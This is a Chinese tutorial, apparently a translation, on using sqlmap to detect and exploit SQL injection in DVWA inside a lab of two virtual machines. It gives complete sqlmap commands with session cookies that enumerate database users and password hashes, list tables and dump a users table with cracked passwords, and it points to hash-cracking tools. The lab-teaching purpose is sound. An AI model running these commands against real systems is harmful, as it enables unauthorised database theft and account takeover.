具體見: http://www.freebuf.com/articles/web/29942.html php
用戶手冊: html
http://drops.wooyun.org/tips/143
http://drops.wooyun.org/tips/401 python
什麼是SQLmap? mysql
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個很是棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。 git
讀者能夠經過位於SourceForge的官方網站下載SQLmap源碼:http://sourceforge.net/projects/sqlmap/ github
SQLmap的做者是誰? web
Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者能夠經過bernardo@sqlmap.org與他取得聯繫,以及Miroslav Stampar (@stamparm)讀者能夠經過miroslav@sqlmap.org與他聯繫。 sql
同時讀者也能夠經過dev@sqlmap.org與SQLmap的全部開發者聯繫。 數據庫
執行SQLmap的命令是什麼? windows
進入sqlmap.py所在的目錄,執行如下命令:
#python sqlmap.py -h
(譯註:選項列表太長了,並且與最新版本有些差別,因此這裏再也不列出,請讀者下載最新版在本身機器上看吧)
SQLmap命令選項被歸類爲目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等。
如何使用SQLmap:
爲方便演示,咱們建立兩個虛擬機:
一、受害者機器, windows XP操做系統,運行一個web服務器,同時跑着一個包含漏洞的web應用(DVWA)。
二、攻擊器機器,使用Ubuntu 12.04,包含SQLmap程序。
本次實驗的目的:使用SQLmap獲得如下信息:
三、枚舉MYSQL用戶名與密碼。
四、枚舉全部數據庫。
五、枚舉指定數據庫的數據表。
六、枚舉指定數據表中的全部用戶名與密碼。
使用SQLmap以前咱們獲得須要當前會話cookies等信息,用來在滲透過程當中維持鏈接狀態,這裏使用Firefox中名爲「TamperData」的add-on獲取。
當前獲得的cookie爲「security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。
爲方便演示,咱們將DVWA安全等級設置爲low:
接下來咱們進入頁面的「SQL Injection」部分,輸入任意值並提交。能夠看到get請求的ID參數以下:
「http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#」
所以該頁面就是咱們的目標頁面。
如下命令能夠用來檢索當前數據庫和當前用戶:
「./sqlmap.py -u「http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit」 –cookie=」PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low」 -b –current-db –current-user」
使用選項:
一、–cookie : 設置咱們的cookie值「將DVWA安全等級從high設置爲low」
二、-u : 指定目標URL
三、-b : 獲取DBMS banner
四、–current-db : 獲取當前數據庫
五、–current-user:獲取當前用戶
結果以下:
能夠看到結果以下:
DBMS : MySQLversion 5.0 OS versionUbuntu 12.04 current user:root current db :DVWA
如下命令用來枚舉全部的DBMS用戶和密碼hash,在之後更進一步的攻擊中能夠對密碼hash進行破解:
「sqlmap.py -u「http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit」 --cookie=」PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low」 --string=」Surname」 --users --password」
使用選項:
一、–string : 當查詢可用時用來匹配頁面中的字符串
二、–users : 枚舉DBMS用戶
三、–password : 枚舉DBMS用戶密碼hash
結果以下:
databasemanagement system users [142]: [*] 」@’kingasmk’ [*]」@’localhost’ [*]‘debian-sys-maint’@'localhost’ [*]‘phpmyadmin’@'localhost’ [*]‘root’@’127.0.0.1′ [*] ‘root’@'::1′ [*]‘root’@'kingasmk’ [*]‘root’@'localhost’
數據庫管理系統用戶和密碼hash:
[*]debian-sys-maint [1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] phpmyadmin[1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] root [4]: password hash: *C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
讀者可使用Cain&Abel、John&Ripper等工具將密碼hash破解爲明文。如下命令會枚舉系統中全部的數據庫schema:
「sqlmap.py -u「http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit」 --cookie=」PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low」 --dbs」
使用選項:
–dbs: 枚舉DBMS中的數據庫
結果以下:
availabledatabases [5]: [*]dvwa [*]information_schema [*]mysql [*]performance_schema [*]phpmyadmin
下面咱們嘗試枚舉DVWA數據表,執行如下命令:
「sqlmap.py-u 「http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit」 --cookie=」PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low」 -D dvwa --tables」
使用選項:
一、-D : 要枚舉的DBMS數據庫
二、–tables : 枚舉DBMS數據庫中的數據表
獲得結果以下:
Database: dvwa [2 tables] +————+ | guestbook | | users | +————+
下面獲取用戶表的列,命令以下:
「sqlmap.py -u「http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit」 --cookie=」PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low」 -D dvwa -T users --columns」
使用選項:
-T : 要枚舉的DBMS數據庫表
–columns : 枚舉DBMS數據庫表中的全部列
結果以下:
Database: dvwa Table: users [6 columns] +————+————-+ | Column | Type| +————+————-+ | avatar |varchar(70) | | first_name |varchar(15) | | last_name |varchar(15) | | password |varchar(32) | | user |varchar(15) | | user_id |int(6) | +————+————-+
如上所示,以上爲咱們感興趣的列,表示用戶名與密碼等。下面將每一列的內容提取出來。執行如下命令,將用戶與密碼錶中的全部用戶名與密碼dump出來:
「sqlmap.py -u「http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit」–cookie=」PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low」 -D dvwa -T users-C user,password --dump」
使用選項:
-T : 要枚舉的DBMS數據表
-C: 要枚舉的DBMS數據表中的列
–dump : 轉儲DBMS數據表項
SQLmap會提問是否破解密碼,按回車確認:
獲得全部用戶名與明文密碼以下:
Database: dvwa Table: users [5 entries] +———+———+———————————————+ | user_id | user| password | +———+———+———————————————+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) | | 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) | | 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) | +———+———+———————————————+
這時咱們就能夠利用admin賬戶登陸作任何事了。
總結:
SQLmap是一個很是強大的工具,能夠用來簡化操做,並自動處理SQL注入檢測與利用。
[via infosecinstitute]
________________________________________________________________________DVWA: http://www.dvwa.co.uk/ (源碼在github上)
其中幾個測試示例:
python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" -b --current-db --current-user python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" --string="Surname" --users --password python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" -D dvwa --tables python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" -D dvwa -T users --columns python ./sqlmap.py -u "http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=74ota3rnnjhv6nb7hp8qbkfom6" -D dvwa -T users-C user,password --dump________________________________________________________________________
仍是用BT5吧, windows底下不舒服